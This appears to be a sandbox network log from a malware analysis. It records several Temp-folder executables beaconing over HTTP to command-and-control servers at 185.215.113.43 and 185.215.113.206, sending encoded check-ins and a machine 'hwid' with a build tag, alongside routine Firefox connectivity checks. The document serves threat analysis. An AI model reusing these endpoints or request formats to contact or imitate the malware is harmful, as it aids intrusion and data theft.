Oct 31, 2024 20:52:45.953439951 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:52:46.886605024 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49786	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:48.658377886 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:52:49.617779970 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49787	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:51.327449083 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:52:52.280930042 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49788	185.215.113.206	80	7308	C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:51.712501049 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 20:52:52.703293085 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 20:52:52.707907915 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKJEHDBGHIEBGCGDGH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 45 34 46 32 46 42 33 39 30 36 30 33 38 31 30 32 38 39 34 34 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 2d 2d 0d 0a Data Ascii: ------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="hwid"3E4F2FB390603810289448------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="build"tale------CBAKJEHDBGHIEBGCGDGH--
Oct 31, 2024 20:52:53.038353920 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:52:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49789	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:54.156636953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:52:55.054411888 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49791	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:56.629276037 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:52:57.566327095 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:52:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49798	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:52:59.349987984 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:53:00.276357889 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49809	185.215.113.206	80	2692	C:\Users\user\AppData\Local\Temp\1002978001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:00.896136999 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 20:53:01.841393948 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:53:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 20:53:01.844058037 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKKECFBGIIIEBGDGDAK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 45 34 46 32 46 42 33 39 30 36 30 33 38 31 30 32 38 39 34 34 38 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="hwid"3E4F2FB390603810289448------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="build"tale------AAKKECFBGIIIEBGDGDAK--
Oct 31, 2024 20:53:02.141407013 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:53:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49815	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:01.967641115 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:53:02.924715996 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49835	34.107.221.82	80	3120	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:04.572180986 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:53:05.198142052 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38826 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:53:05.327572107 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:53:05.457504988 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38826 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49840	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:04.769448042 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:53:05.689970016 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:53:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49852	34.107.221.82	80	3120	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:05.247131109 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49854	34.107.221.82	80	3120	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:05.523145914 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:53:06.126477957 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15821 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:53:06.232785940 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:53:06.358875990 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15821 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:53:06.726784945 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:53:06.852855921 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15821 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:53:06.917356014 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:53:07.043416977 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15821 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:53:07.354201078 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:53:07.480227947 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15822 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:53:07.734868050 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15822 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:53:10.564173937 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:53:10.692167997 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15825 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 20:53:11.814470053 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 20:53:11.940995932 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 15826 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49855	34.107.221.82	80	3120	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:53:05.663578987 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:53:06.225142002 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38827 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:53:06.593465090 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:53:06.719818115 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38827 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:53:06.786539078 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:53:06.913336992 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38827 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:53:07.224109888 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 20:53:07.350788116 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 38828 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 20:53:10.427783012 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
